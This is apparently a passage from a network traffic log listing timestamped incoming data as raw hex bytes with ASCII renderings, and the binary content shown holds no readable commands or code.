Data Ascii: ?}ksG${?y{iusI==>[Qnk[X# >w}ke$-^6&$i]zxc<MSI?wt|,;Mtws~.o.`F,ackOR)S8dI

2022-05-13 14:42:07 UTC 4270 IN Data Raw: 65 d9 bf ef b7 c9 b7 f5 e6 bc 4e e9 60 69 3e cb a8 79 13 be f6 44 f2 fe ff 00 cd fd ea d7 03 47 99 3e 62 63 1d 
75 3d 43 e1 de a9 a7 eb 9e 1f bb 92 69 ff 00 7a db 52 18 36 7c 88 cb db 6f fe cd 5d 76 9f a5 ff 00 6c ea b1 d9 b5 a4 7e 6f 
cc fe 5f 99 fc 3f de 15 f3 af 82 fc 49 17 87 35 58 21 b8 92 37 7f 39 a1 9a 4f f9 6b b5 7e ee 00 af a2 34 5f 19 4f a5 c7 1d f7 
97 be dd b7 7e f2 44 f9 36 d3 c6 53 74 5a e6 7b 98 d6 f7 75 89 d0 37 87 6c 74 1b a9 d6 4b b8 e7 8b 7e f7 92 4f 9d 1d 5a 
b0 63 9a e5 60 f2 ed e7 d9 16 f6 7b 78 ff 00 bf e9 b7 fb dc 56 7c da f4 ba 94 72 32 c1 be de eb 72 79 70 7c 89 f9 d5 79 a1 
96 f2 4b 48 57 e4 49 7e e4 91 ff 00 03 2f f7 7f ba c6 b9 b0 f8 85 4e 76 7b 93 46 56 df 72 6d 27 c6 d7 36 1a fc 17 0b 3f 9e 
ab 6f 27 ef 36 6c d8 dd cf ae d1 57 34 
Data Ascii: eN`i>yDG>bcu=CizR6|o]vl~o_?I5X!79Ok~4_O~D6StZ{u7ltK~OZc`{xV|r2ryp|yKHWI~/Nv{FVrm'6?o'6lW4

2022-05-13 14:42:07 UTC 4350 IN Data Raw: bf 23 c7 f7 3f 86 b3 fc 59 74 b6 fa 6e d8 64 b5 f2 a2 7f df 47 1f fb 3f c4 17 bb 57 27 a6 c2 ca f7 72 34 92 3a 6c 
57 f2 f7 ab fc bd 9c 9f fd 96 b9 71 18 68 d6 49 4b 43 3e 55 d4 3c 33 e1 95 f1 57 88 35 2f 33 cc 9e d2 df fd 74 7f ed 56 e6 
b1 a0 c5 6b 3f d8 ec 64 9e d7 6c 3f ea e4 75 f9 f7 57 4d f0 e7 41 ff 00 90 93 49 24 7f 68 bf 4d e9 e5 ff 00 77 b2 81 5c ff 00 
8a 3c 33 2f 87 fc 4d 77 aa 5d 47 24 0f 2b ec 78 27 fe 05 55 fe 2f ee b7 fb 35 c7 2c 2b a7 15 24 89 84 97 3b 44 3a 6c 31 2e 
ab 05 aa da 49 75 2c 5e 5e ff 00 21 37 f9 db be e8 15 f5 47 86 fc 3f 17 85 fc 39 69 a1 c3 ff 00 21 8b a4 fb 45 df 97 f3 bd b
2 ff 00 cf 3a f2 ff 00 d9 e7 c3 30 45 6b 77 e3 4d 52 08 e0 d3 ec d1 a6 b7 8f fb ed fd ea dc d7 bc 59 a8 24 93 c9 67 1e fd 
4b 54 7f 92 38 df e7 86 2f e1 df 
Data Ascii: #?YtndG?W'r4:lWqhIKC>U<3W5/3tVk?dl?uWMAI$hMw\<3/Mw]G$+x'U/5,+$;D:l1.Iu,^^!7G?9i!E:0EkwMR
Y$gKT8/

2022-05-13 14:42:07 UTC 4432 IN Data Raw: 4a 2d 5a d6 c2 3b 79 24 ba 78 a6 5d fe 62 7c ff 00 ef 3e 0e 1a ab 95 58 dd 6a 7a 83 69 71 69 de 11 b0 8e 38 ff 
00 7b 70 fb 13 cb dc e8 ff 00 5c ff 00 e8 55 c0 dd 58 db 58 47 23 5b c1 f6 5b b5 dd 0b c9 bf 7a 26 df f9 66 56 bb ad 42 39 
6c f4 78 21 9a ee e9 2e 1b f7 c9 fd c7 fc 3d 2b 97 b7 68 3c 4d e7 ad bc 92 22 36 d4 7b ad ff 00 c5 f8 62 8b 12 8b 1e 1d bc 
8b 54 d1 e3 b8 5f e2 45 48 63 8f f8 d7 b8 65 35 ca f8 82 eb 53 b0 be 92 6b 8b bf 91 a1 ff 00 8f 58 d3 7f ff 00 b3 5d 95 9c 
df d8 7e 5d aa c9 fe b7 e4 74 8d 3e 7f fa e9 5c 7f c6 eb 5b 9d 37 c3 fb ae 3c ff 00 b2 6c ff 00 59 07 fa d7 dd fe ef df 35 69 
5d 5c 7b e8 73 f6 3a a3 6a 9a c5 ba cd e5 a5 bc 5b 61 4b 58 fe 4f 9b d1 bd 6b d5 9b e1 4c 17 fe 1f 92 e1 ad 27 9f 6f ce f0 
46 9f 27 dd e3 e5 ef 8a f9 a7 e1 8c 
Data Ascii: J-Z;y$x]b|>Xjziqi8{p\UXXG#[[z&fVB9lx!.=+h<M"6{bT_EHce5SkX]~]t>\[7<lY5i]\{s:j[aKXOkL'oF'

2022-05-13 14:42:07 UTC 4526 IN Data Raw: 9d 37 7e 1d e8 f8 0b a4 dc df f8 c7 52 d5 2f a3 91 15 bc bf dc 4e 9f dd eb cd 37 f6 a6 d5 a5 d5 ae 92 d7 4d f3 
3c a8 9d a1 7f bb ff 00 7c ed fe f7 d6 b5 a7 18 fb 58 ce 3b b3 b9 6b 4d a6 78 ce 8f ad 35 c5 ac f3 79 72 24 bb 3f 7d 1c 7f 
7d 3f e0 35 c6 db c8 97 1e 23 f3 24 b4 93 ec f2 bf 9c 97 db 36 7e eb fd b5 ad 6b 19 2f 1b 52 92 46 f2 12 d2 54 54 7f 32 3f 
9d db f0 fe 1a bd a8 69 3f 67 9e 4b ab 59 3e 78 91 53 cb 8f ee 4d 5e ec a9 ec 71 f2 d9 90 f8 8b 52 69 60 92 35 8e 34 6b 7f 
93 f7 8f bd 1d 5b fb b5 c3 da cd 2d e6 b9 22 d9 ff 00 c7 ae ff 00 39 20 8d 3e 4f bb c1 6f c6 bb 4d 42 cf 4f f2 23 66 f9 25 89 
f6 3c 7b 3e fd 72 77 8c b7 57 d0 2f dc 76 f9 1f 62 7f 17 e1 5c 53 f8 d3 32 96 f6 33 75 af 14 5c dc 6a 57 6d 79 b2 e8 da a2 
bf 9f fe ab fe 03 c5 15 37 f6 0c 5e 
Data Ascii: 7~R/N7M<|X;kMx5yr$?}}?5#$6~k/RFTT2?i?gKY>xSM^qRi`54k[-"9 >OoMBO#f%<{>rwW/vb\S23u\jWmy7^

2022-05-13 14:42:07 UTC 4588 IN Data Raw: 56 b4 78 74 86 b5 f3 21 b8 8d df 7e c7 82 4f b8 9e f9 ad e6 b3 6b fb 59 24 8e 49 12 59 61 f2 5e 3f be 9b 97 d4 
57 99 de 49 b7 f7 8b f7 db f7 33 47 f7 11 16 88 3e 77 64 3b dd d8 ea 3f b3 6d ad e7 92 4b 5b bd 89 13 ec 48 e4 4f 93 f5 fb 
d5 26 a0 aa be 5d bc 32 6c f9 37 ff 00 a8 ff 00 d0 87 f2 5a e5 7e d5 67 e5 ff 00 af 91 ff 00 82 19 f7 fc 9b ab 63 4d ba 9e eb 
47 8e 49 27 9f 7b 3b 22 49 27 f0 2a fa d6 32 a4 fe 26 6a 9d d9 7b 47 d5 a2 5b 8d b7 1f 26 d4 fd f4 7f 73 ee ff 00 16 2b a0 
d3 ee 20 b8 fb 5b 7e ef ca 6f bf 1e cd 9e e2 bc c5 ae 2e 74 bb af b6 5d 4f 6b e5 2f fa 9b a9 3e fe da ef bc 03 ad 2f 88 27 
db 1c 9b 1a 24 ff 00 59 3b fc 8e cd f7 7f e0 26 b8 b1 09 c5 5c ca a3 e5 8b 67 a3 6b da f3 5b f8 72 3f b2 c1 f6 5f 37 cb 7f 2f 
ef fe 2b de b9 9b ab a8 ee b4 a8 
Data Ascii: Vxt!~OkY$IYa^?WI3G>wd;?mK[HO&]2l7Z~gcMGI'{;"I'*2&j{G[&s+ [~o.t]Ok/>/'$Y;&\gk[r?_7/+

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:42:07 UTC 4652 IN Data Raw: 1f 9d e5 a2 4a 8c e9 fd c9 9b f8 aa 1f 8a 51 dc dd 5d 46 b6 f1 f9 0b 6f f2 43 1c e8 df c5 51 cd 4e be 2d 41 4a 
ec 71 92 73 49 6c 72 30 cd 3c be 27 b0 92 e3 c8 4b 8f 3b 62 7c ff 00 ae 3d eb ee cd 27 4f 82 df e1 af db 96 3f de dc 5b ef 
fd e3 ff 00 0e da f8 37 47 fb 35 86 ab 60 ba 84 7f da 3f 6a 75 44 f3 fe fb fc dc 6d fe 21 8a fb bb c2 71 cb 67 f0 be 05 b8 f9 
ee e2 fb 91 ef ff 00 66 be 86 50 5c d6 7d 0f 4a 9b b3 67 c6 3a 94 cb 71 a9 6a 4b 1f 98 8f f3 23 cf 23 ec 74 5f 4a e2 e6 b3 
bc b5 ba ff 00 59 26 fd fe 4a 48 89 b3 ce fc 6b aa f1 d6 ac b6 ba e5 c3 35 c4 6f 2b 4c db 24 fe 04 db 5c 8d af 8e ae 65 ba 
82 dd a0 9e 0b 49 51 9d e3 fb ee 8d fc 3b 7f bb 5e 8c 92 69 5c 97 bb 67 4d 0e a1 2d ae 9b 25 aa fe e2 2b a7 df e6 46 fb 
df 77 bf fb 42 aa f8 c3 47 be d4 a0 fb 
Data Ascii: JQ]FoCQN-AJqsIlr0<'K;b|='O?[7G5`?juDm!qgfP\}Jg:qjK##t_JY&JHk5o+L$\eIQ;^i\gM-%+FwBG

2022-05-13 14:42:07 UTC 4795 IN Data Raw: de 83 ab 2c 5e 26 b4 b8 d3 63 8f ec 5b e4 fd dc 8f f2 3a fd 3f 84 ad 7d 65 f0 cf c4 cb e2 4d 36 35 69 fc fb 76 87 
c9 f3 23 db f2 2e da d7 d9 a9 48 e5 97 34 9f 32 3e 5f f8 8d e1 79 6e 35 8b bb ef f9 6a b3 6f ff 00 63 ca 6e a2 bd c3 c1 7a 
5b 68 3e 15 b0 f3 a3 9e 74 fd db f9 91 be c7 fb bc 7c b5 7b 4f f0 ed 8f 88 fc 54 f0 c9 e5 fd 9e 2d c9 e5 c9 06 cd ea b5 d0 
78 aa 1f ec 3b af ec b9 3c b7 f2 be 48 7c cf e3 dc bc 73 ed 5a 49 bb 59 9d 88 e1 fe 23 6b 91 68 76 b1 ed 8e 3d ff 00 eb 
92 44 fb fb bd 2b 99 bc fb 4d ff 00 87 e7 ba ba 92 44 96 f3 6b f9 f0 26 cf f8 09 ab 9e 26 b5 9f 56 8f ed 16 ef 1c f2 d9 ee 85 
e3 8d ff 00 89 bf a5 36 ce e2 5d 42 c6 4b 79 a4 8d 2c ad fe fc fb fe 4d cb f7 a9 c6 c9 5c 7b 9c 0a e9 ad a5 ea 56 92 59 fc 
9b ee 36 7d 97 c8 d8 8e db 7a 67 f8 
Data Ascii: ,^&c[:?}eM65iv#.H42>_yn5jocnz[h>t|{OT-x;<H|sZIY#khv=D+MDk&&V6]BKy,M\{VY6}zg

2022-05-13 14:42:07 UTC 4811 IN Data Raw: 64 cf f2 7e 74 9e d7 39 cd 4f 10 5c 5d 5c 69 e1 67 d9 22 bb ac a9 20 fb bb 76 f2 45 15 63 c7 37 76 d7 50 40 
b6 be 46 c8 9d 93 f7 7f 7d 3d b3 e8 68 a8 49 31 dc fa ff 00 43 d3 65 fe cd 92 46 f3 e7 7d 8d fb bf 97 7a 6f ff 00 67 b1 ae 
ab 49 92 cf 54 f0 cc eb e6 79 16 8a 8d e7 7f 03 fd dd a8 b5 c6 f8 b9 a2 b7 f1 25 de 92 de 64 2f fb b7 7f f9 ea ec bf dd af 64 
b7 f0 df 9b a5 58 2f ef 12 d3 c9 f3 9e 09 11 7f 3f 7a f8 7a f5 a2 97 a9 e8 55 f7 ad 63 9b f8 77 f0 d6 da ea ea c2 fa f2 09 11 
2c dd 7e cf 1c 7f 3f eb fd df 5a f4 8d 35 a7 5f 10 47 a6 b7 96 89 f7 1e 4d ff 00 7f 6f fe cb 57 bc 17 6b 05 be 9b 06 9f 6b e6 
3f f0 3c 7f ef 7f b3 57 2e 2d 62 d1 a7 79 24 82 44 7d ed b2 48 ff 00 8e b8 a7 55 cb de 64 cd b9 3d 4d 8d 59 6c 57 4d 8d a
e a4 82 09 57 72 24 9b 36 6f 8a bc 
Data Ascii: d~t9O\]\ig" vEc7vP@F}=hI1CeF}zogITy%d/dX/?zzUcw,~?Z5_GMoWkk?<W.-by$D}HUd=MYlWMWr$6o

2022-05-13 14:42:07 UTC 4874 IN Data Raw: 93 7b c9 3a 6f 7f a7 b5 70 7e 30 f8 c5 67 67 aa c1 a7 e9 76 12 5d 6e 7f 2b f7 e9 f2 7e 95 c1 08 be 9d 08 94 22 
9e 88 e5 7f e1 50 eb 9a b5 f5 85 ba c9 1d ab af 96 8f f2 6f fb cd f7 6b db ae 3c 0f a1 fc 3e d3 64 bc d5 a4 fb 54 b1 3a fe f2 
4f b8 9b 57 ae 2b 9b d2 7c 55 a8 2c 10 5d 5c 49 25 ab b3 ad ba 41 07 c9 b3 ff 00 af 5c df c6 cb e6 bf d0 ef fc b9 27 74 f3 
95 13 cc 9f e7 4d bd 79 fe 2a cf 44 d2 22 d4 a9 ab a5 76 6c 47 f1 8a c7 c4 77 5f d9 ba 2d a4 7f 64 5d bb e4 fe 04 ff 00 75 
6b 8b f1 c6 a1 79 e2 0b 59 e3 f3 e4 d9 b3 7b c9 22 32 6f ff 00 80 ff 00 7b 6d 70 7e 19 d5 ac ed f5 2b b5 8e 3d fb 9d 5f cb 
fb 88 ed fe cf fb 55 a5 f1 2b 50 be b7 d3 60 92 39 d1 3e d1 f2 79 ff 00 7d 37 76 56 ad fd 9c 95 55 1b ea 72 4e b4 ab 3b b6 
57 f0 7f 85 d7 47 9f ce 64 f3 a5 69 
Data Ascii: {:op~0ggv]n+~"Pok<>dT:OW+|U,]\I%A\'tMy*D"vlGw_-d]ukyY{"2o{mp~+=_U+P`9>y}7vVUrN;WGdi

2022-05-13 14:42:07 UTC 4890 IN Data Raw: da 62 27 ec 69 ec 95 d9 ee e0 7d 9e 1e 1e d6 5b b7 64 72 7a 7e 88 d7 57 10 37 fd 3d aa 27 fb b5 dd 43 79 fd 
89 1d f5 bc 92 46 8d 2c cc 96 9f f0 25 a3 c3 7a 74 0f 63 63 b6 3d 89 1f ce ff 00 ef 57 31 f1 93 4b bc bc 4b 49 2d 6e 3c 8b 
75 7f 9e b2 c2 52 59 7d 09 56 8a bb 67 65 7a af 19 5d 52 96 c7 96 f8 82 ea 7d 73 58 fb 1d c4 9b d3 7f 92 ff 00 ef 56 e5 9f 
85 6e 62 ba bb 58 7c cf 2a d5 37 fe ef ff 00 41 fa d5 8f 03 e9 2b 75 e2 a9 2e ae 23 df 6f 66 9b ff 00 df 9e bd 31 74 56 5d 
0e ed 63 93 c8 bb ba fb f2 7f 1d 71 61 f0 6f 17 fb f9 3e a7 4d 7c 52 c3 3f 64 bb 16 34 1b c8 ae 34 d8 21 87 cb de 88 bf f0 
0f fe bd 6d 2c 6c bf eb 3f 8a b9 dd 07 c1 6b a0 c1 1c 76 f2 7c 8b f3 cb e6 56 e4 77 8b 17 ef 24 93 ce 76 f9 13 fb 89 5f 61 
4a ea 0b 9b 73 e6 ea f2 b9 b7 17 a1 a9 63 
Data Ascii: b'i}[drz~W7='CyF,%ztcc=W1KKI-n<uRY}Vgez]R}sXVnbX|*7A+u.#of1tV]cqao>M|R?d44!m,l?kv|Vw$v_aJsc

2022-05-13 14:42:07 UTC 4922 IN Data Raw: 93 7e c8 9f c9 86 0d 9b d1 3d eb 6b 45 d7 a5 d4 a4 92 de 68 e0 b5 f3 76 bf 97 1f cf bf 6f f7 4d 66 60 dd d9 0c 
3f 12 2f b4 b8 e3 85 74 9f f4 79 7e 77 92 44 67 44 6f a5 74 97 1f 12 34 8b 7d 1e d2 3f b2 49 75 71 74 8c 8f 04 1f 22 7c bd 
ea 9f 8e 3c 49 67 e0 db 18 1a ea d3 f8 3f c9 00 d7 13 67 ae 2f 8a a4 8f 54 b5 f2 3e 54 67 f2 f6 6c de db bd 2b 1a 91 72 76 
45 c5 f4 36 b5 0d 42 e5 60 8d 7e c9 24 e9 2b b4 3f 73 63 fd 5a a1 ba f1 75 ae 9b a5 47 0c 93 fd aa ed 9f 63 c1 23 af dd 5f 
ee d1 a1 f8 93 4c bf f1 1c 72 5f 41 fd 97 7b b1 b7 c7 1b ef 8a e5 7b 0c 7b d7 17 f1 49 6f 2e 2e be d5 67 1f d9 77 3e cb 88 
ed 76 f9 bb 7d 8b 71 f9 57 25 3a 7c b2 b3 29 fc 27 33 e3 0f 19 45 ac f8 83 6c 33 cf f6 7f 39 7c df 2f e7 78 76 af 07 70 eb 
5b 1e 07 f0 cc 12 dd c7 35 d5 fc ee ff 
Data Ascii: ~=kEhvoMf`?/ty~wDgDot4}?Iuqt"|<Ig?g/T>Tgl+rvE6B`~$+?scZuGc#_Lr_A{{{Io..gw>v}qW%:|)'3El39|/xvp[5

2022-05-13 14:42:07 UTC 5002 IN Data Raw: 0f f1 7c ff 00 ed d7 a9 1c 15 3a 31 bc 55 ae 79 d3 c4 ca a4 ad 26 61 f8 8b 4d ba d5 34 d9 23 8f fd 6c bf 72 3a 
af e1 ff 00 0d af 83 f4 7d be 64 7f 68 df bd eb a4 b7 b7 66 93 cc ff 00 96 51 7c ff 00 ee 56 3e a1 34 ba b6 ab 1d 8c 3f c4 
eb e7 49 1f f0 54 3c 15 3e 7f 6a d7 bd b1 b4 71 53 e4 f6 6b 63 42 cf c3 f1 6a d6 b1 b5 e4 7b f7 7d fa dc fe cb 82 c3 64 6b 
1e c4 54 f9 2a e5 8c 71 5a c7 b7 f8 22 f9 13 cc aa fa 96 a4 b6 b0 6e 6f be df 22 27 f1 d7 a3 f5 3a 74 e2 e7 6f 79 f5 38 de 
22 75 25 66 f4 31 7c 41 79 f2 22 fd ca f3 1b 5d 35 b5 cd 73 72 fe fe dd 5f 62 7f 7d da b4 b5 4f 12 36 a5 a8 cf 0c 7f 3c ac fb 
12 3f f3 de bb 8f 08 e8 7f d9 76 31 b5 c4 7f bd ff 00 d0 37 76 fa d7 8b 2c 2f d7 2b ab 6c b7 3d 2f 6a f0 f4 ee f7 7b 1a 7a 17 
82 ac b4 fd 93 4d fb cb 86 fb fb 
Data Ascii: |:1Uy&aM4#lr:}dhfQ|V>4?IT<>jqSkcBj{}dkT*qZ"no"':toy8"u%f1|Ay"]5sr_b}O6<?v17v,/+l=/j{zM

2022-05-13 14:42:07 UTC 5018 IN Data Raw: f9 e4 8d 2b 97 d7 af 9a fe eb c9 9b cb 81 36 6f 86 3d fb dd fd eb 19 59 eb 7d 47 19 58 ec 23 f1 84 1a e7 99 6e 
b0 47 74 df 2e ff 00 31 3e 4d bf d6 a9 dc 78 7f 4c bc ba 8e e3 cb f2 1e 2f b9 b1 ff 00 4a e7 74 bb af ec df 2f cb fe 2f f9 66 
89 f3 d7 59 a7 db cf 2f fa ef 9f ef 3f ee ff 00 bb 4d 3b ad 49 6c e6 f5 2f 0a cf 71 3e db 19 e7 d8 df f2 cf f8 36 b5 47 27 86 
e7 8b e6 f3 23 f9 7f e5 a4 9f 73 e5 ae eb 56 b8 6b 5b 19 da 18 f6 45 6f f3 f9 7b f6 6f af 27 d6 ad fc 51 e3 29 e3 87 ed f1 e9 
da 63 3f cf 05 aa 7d f5 ff 00 7a b9 ea da 3a 5a ec b8 2e 63 42 1d 52 7d 4a 4b bb 3d 1e 78 e0 b2 8b fe 3e 35 1b af 9d df fd 
da c5 ba d0 7c 3d 14 09 a8 6a 11 ff 00 a2 2b ef fb 55 d3 ef 47 ff 00 1a ef ad fc 0b a2 f8 67 4e 8e 6b ef 9e de 24 ff 00 51 bf 
ef d7 03 e3 6f 0a af 8d 2c 
Data Ascii: +6o=Y}GX#nGt.1>MxL/Jt//fY/?M;Il/q>6G'#sVk[Eo{o'Q)c?}z:Z.cBR}JK=x>5|=j+UGgNk$Qo,

2022-05-13 14:42:07 UTC 5185 IN Data Raw: 5c 4d 1f fa bf 91 53 7f 97 27 f3 ae ab c3 7e 0f b3 b0 8f f7 d1 fc f5 d7 5a e8 b6 d1 7f c0 ab aa 85 1a 9c 97 92 b1 
cd 52 71 5a 44 f9 57 e3 37 89 bc 47 a6 c9 1f 87 fc 0f e1 bb af 10 ea 77 09 b3 ed 56 a9 be 28 7f 92 d7 84 e9 ff 00 b0 ff 00 
c5 4f 1d 5d 79 da c4 90 68 89 70 8c f7 12 5d 5d 79 ae 8c dd be 5a fd 28 fb 2c 16 71 ee 58 e3 83 fe b9 d6 2c 37 4c df eb 
be 48 be fa 57 3d 6c ba 96 22 6a 75 6f a7 43 7a 18 ca 94 55 a0 8f 97 fc 0b fb 09 f8 5f c3 30 5a 36 b1 77 26 b7 76 a9 f3 fd 
e4 47 65 af 64 d2 7e 19 e9 5e 19 b5 fb 2e 97 69 06 9d 6e bf 7f c8 45 de ff 00 8d 76 1a 96 b9 05 bc 72 6e f9 36 d7 3f 67 e2 
49 65 92 7d d0 49 e5 2b fc 9e 67 c9 be b7 a3 85 c3 d0 7e e4 52 66 35 6b d5 ac ef 52 41 6f a3 ad ac 9e 62 c7 26 cf e0 8e 
b2 75 2d 6a 0b 39 fc 98 7e 7b 85 ff 00 81 
Data Ascii: \MS'~ZRqZDW7GwV(O]yhp]]yZ(,qX,7LHW=l"juoCzU_0Z6w&vGed~^.inEvrn6?gIe}I+g~Rf5kRAob&u-j9~{

2022-05-13 14:42:07 UTC 5201 IN Data Raw: 9d f4 92 7e f1 e2 64 d9 fb cf 9f ee f7 15 7a df 45 b6 97 55 92 e3 f7 88 ff 00 71 3f b9 ff 00 02 ab 57 17 12 cb 26 
e5 d8 9f f8 e5 35 b5 06 6f 32 18 7c b4 ff 00 c7 3e 5f 4a 85 b9 12 d7 43 a6 d3 f5 28 34 d8 3e 5f 9f 6f fc b4 a2 b9 79 35 86 
58 3c cf b9 bb ff 00 1f 5f 6a 2b 47 34 88 e5 67 0b a8 6a d1 59 da f9 d3 79 8e 8a 8a 8f 26 cd f5 9b a2 df 48 d7 53 aa f9 ef 
bb fd 74 9f 36 c7 fa 1a a3 27 8e 34 f6 f9 bf 78 9f f0 0f f3 f3 54 da 3f 8a 2c da 79 24 8e 3f 9f 7b 7f 03 6f dd f4 a8 95 48 be 
a5 f2 bb dc ea ac 6e 3c df 33 cb 83 ef 7d c8 e3 7f ee d6 b4 77 d2 af 98 ab e6 3b b7 fc b3 d9 fe 76 d6 4d ae a8 d7 10 49 75 
6f 04 7e 6b 3f cf fe db 7d 7f bd 5a 10 de 79 52 49 e7 47 fe e4 9f d2 b1 72 d7 72 ec 67 eb 9a 4a eb 96 b2 43 24 92 27 c8 df 
3b fd fa a3 e0 dd 06 2f 0e 41 e6 
Data Ascii: ~dzEUq?W&5o2|>_JC(4>_oy5X<_j+G4gjYy&HSt6'4xT?,y$?{oHn<3}w;vMIuo~k?}ZyRIGrrgJC$';/A

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:42:07 UTC 5217 IN Data Raw: f7 7f 3a f5 8d 27 c1 36 76 b0 47 ff 00 12 59 1d d5 19 fc f8 ee b7 a7 cd fc 3f 5a 8e fb 45 b6 5f 31 a1 d0 a7 9d fe 
57 7f df aa 3e d5 ae 85 06 c9 e6 e9 63 83 fe c5 b3 8a 0f 32 69 e7 48 a2 45 ff 00 58 8d b3 e5 a2 bb a9 b4 15 b8 b1 8d ad 
f4 df f4 76 fb 90 5d 5d 7d fd cd 9f fb e8 51 4f 92 42 b9 c7 ea 0a b6 17 d2 37 99 1d d2 ff 00 1c 7b 1a a4 6b e8 97 4a 83 6c 
1e 46 d4 6f dd ff 00 7d 5b d2 bb af 1c 59 f8 27 4b be dd a4 c7 7d f6 76 4d 89 05 73 77 50 c5 2c 90 2d bc 1f bd 6f 91 ff 00 
be 8b fe d5 78 13 4e 0d c5 9d dc c6 5e 92 cb 14 9e 64 7e 7b da 2f fc b3 93 e7 d9 ba b6 96 eb f7 71 c7 f6 4d f2 b3 ec 4f 33 
e4 de bf fc 4d 53 99 ae 7c 8f 26 69 f7 ba be cf dc 27 c8 f4 eb 75 db fb c6 93 64 52 a7 fc b4 fb ef f4 a8 4f 43 36 ec 17 d7 9f 
6a fd f4 c9 f6 5b 86 fb fe 7f e5 f2 
Data Ascii: :'6vGY?ZE_1W>c2iHEXv]]}QOB7{kJlFo}[Y'K}vMswP,-oxN^d~{/qMO3MS|&i'udROC6j[

2022-05-13 14:42:07 UTC 5233 IN Data Raw: d4 f0 b5 25 0b 2d 19 cc ea 53 be aa e7 c8 ff 00 f0 d4 1e 28 d3 6c 7e cb a5 da 69 5a 74 5b f6 79 f2 40 af f2 fb 
1a d2 6f 8f 8b af 78 72 4b 5d 43 cc bd f9 3f d2 23 81 e2 89 11 5b de be 9a f1 07 c2 bf 08 78 66 0f b4 69 bf 08 2c 75 e9 57 
e4 78 ed 5f 63 ff 00 e3 d5 e4 fe 28 f1 47 81 f4 fb 5d da f7 ec e1 ac 69 71 2f fc f3 9d 7c a7 db ef 5c b5 28 56 a4 9f 3d 4d 08 
55 a0 e5 66 8f 0f f0 ae 8f a0 ea da af ef 3c c4 b4 d8 d3 7e ed f6 7c ab fc 35 ad 7c df 0b 6e 27 92 38 ed 35 2f ef bc 96 b3 
aa 6c 6f ee fd 2b a6 b7 f8 e1 f0 de de 77 fe cd f8 41 24 0f 2a 37 ef 2e af bf 98 a8 e6 f8 95 a1 ea df f2 0d f8 73 e1 cd 3a 5f 
e0 92 7b aa e0 51 a6 96 8d 3f 93 3a 1c b9 ba 7e 27 9f da ea 5a 0d 86 a5 3b 2e 9a 9a 8d 96 f5 4f 2e 77 f9 2b d5 bc 2f e3 e
f 81 ab 71 1d bf 88 bc 19 25 af fd 
Data Ascii: %-S(l~iZt[y@oxrK]C?#[xfi,uWx_c(G]iq/|\(V=MUf<~|5|n'85/lo+wA$*7.s:_{Q?:~'Z;.O.w+/q%

2022-05-13 14:42:07 UTC 5256 IN Data Raw: db b8 8e 3b 9e 5b 6f e1 9d 7f 52 d3 76 c3 06 b9 3a b3 b6 c9 e0 b1 91 ff 00 5f 5a 6c de 03 f1 65 d5 d4 7f 6a f0 
d6 b8 f6 ea 9b df cf b5 93 65 7b d4 37 9f 1e 6c 2f a4 b1 b3 f1 be 94 8e bb 76 41 1d f4 7b 37 7a 61 57 75 5e ff 00 84 4f f6 
85 97 cc 6d 43 c4 b2 3b ef de f1 c7 a8 b6 cf e5 5d 14 f0 b1 94 6c 93 b9 3c d6 7b a3 e6 fb c6 d5 f4 89 e7 f2 74 db a8 2d d9 
3f d5 fd 97 e7 46 fa 35 65 c7 6b 7c d1 c9 74 d1 c9 03 ec f9 e3 8d fe 77 f9 bd 6b dc bc 51 f0 97 c7 52 da c9 75 7d ae e8 f6 
b2 b3 ff 00 cc 56 f9 93 f5 fe f5 61 e9 bf 02 f5 cb c8 23 f2 fc 59 e1 1d 8c ed fe bf 58 54 7f 7a e2 58 5c 44 a6 d7 2b 3a 15 58 
f5 67 9d e9 37 cb a5 dd 25 bc 96 13 ea 16 eb fe ba 38 df e7 f9 ab be f0 df 8f 3c 39 67 7d 1f db 3e 1e da ea 31 7d cf 22 7b 
e5 8a 5f fe ca bb 4f 07 fe cf ba 46 
Data Ascii: ;[oRv:_Zleje{7l/vA{7zaWu^OmC;]l<{t-?F5ek|twkQRu}Va#YXTzX\D+:Xg7%8<9g}>1}"{_OF

2022-05-13 14:42:07 UTC 5288 IN Data Raw: f7 d4 ea 55 39 55 ac 7c 0f 37 8b 3f 68 5b 79 36 dc 7c 32 d1 ee ad 1b 6a 7e ef 47 b6 fe 4a 6a ac 36 3f 1b 9a ea 
3b 8f f8 57 b3 e9 c9 2f df fb 0d 8c 6e 9e c3 cb cf f5 af d0 09 bc 2b a4 79 7f be d5 b4 a7 ff 00 ae 7a 5f f8 1a b1 1f 81 fc 31 
74 9f 35 bd ac ff 00 df f2 ec 64 4f eb 57 cb 29 6e c4 e7 1e 87 c5 fe 1d f8 53 e3 6f 13 47 e5 c9 a6 df 69 72 ff 00 d4 4b 47 
54 de de c7 71 ae 82 f3 f6 75 f1 fb 47 1f d8 6e 3c 3f 75 2c bf 3f fa 56 96 ae 9f 88 af ad 17 e1 4f 87 a7 8f 74 70 47 b3 fe b8 
37 f8 d5 56 f8 53 a4 79 91 cd 0c 7b 36 ff 00 cb 38 d2 4f fe 2a 9f b1 8b ea 73 ca a2 5b 1f 2d d9 fc 0b f8 c5 61 6b b7 ed fe 0
b d1 2d 22 f9 fc bb 1d 2d 93 f9 56 5c d6 ba e6 97 3f 97 ab 7c 42 f0 ae 9d b5 f6 3c 92 68 13 fc 9f 8e 6b ec 48 fe 1b d8 c9 
1f 96 de 7b a3 7f 04 96 ad ff 00 
Data Ascii: U9U|7?h[y6|2j~GJj6?;W/n+yz_1t5dOW)nSoGirKGTquGn<?u,?VOtpG7VSy{68O*s[-ak-"-V\?|B<hkH{

2022-05-13 14:42:07 UTC 5312 IN Data Raw: f7 b7 df 8d 2d 59 13 f9 d4 b1 f9 ba 0c 12 7f 6b 78 93 43 83 fe da 32 7f 5a f9 4a 1f 8b 1f 13 7c 69 24 90 db f8 7b 
c2 2f fc 0f 3f f6 a7 ce 9f f7 c9 ae bb c3 3e 03 f8 a9 ae 7e f3 52 8f c2 33 c4 df c1 75 e6 5c 26 df c0 52 75 39 b6 62 71 71 57 
3d 7b 5a f8 89 69 a1 f9 93 7f c2 c5 f0 ad ac 4a 9f 27 da 9d 9f 62 fe 06 b9 18 7e 37 78 5f cc dd 27 c5 8f 0e 5d 3a ff 00 cf 04 
92 b0 6f bf 65 dd 4f 5e f2 e1 d7 9f c0 f7 48 cf bf 64 76 33 44 ff 00 81 15 8a df b1 7e a7 6f 77 1b 69 70 78 66 d6 df 7f fa bf 
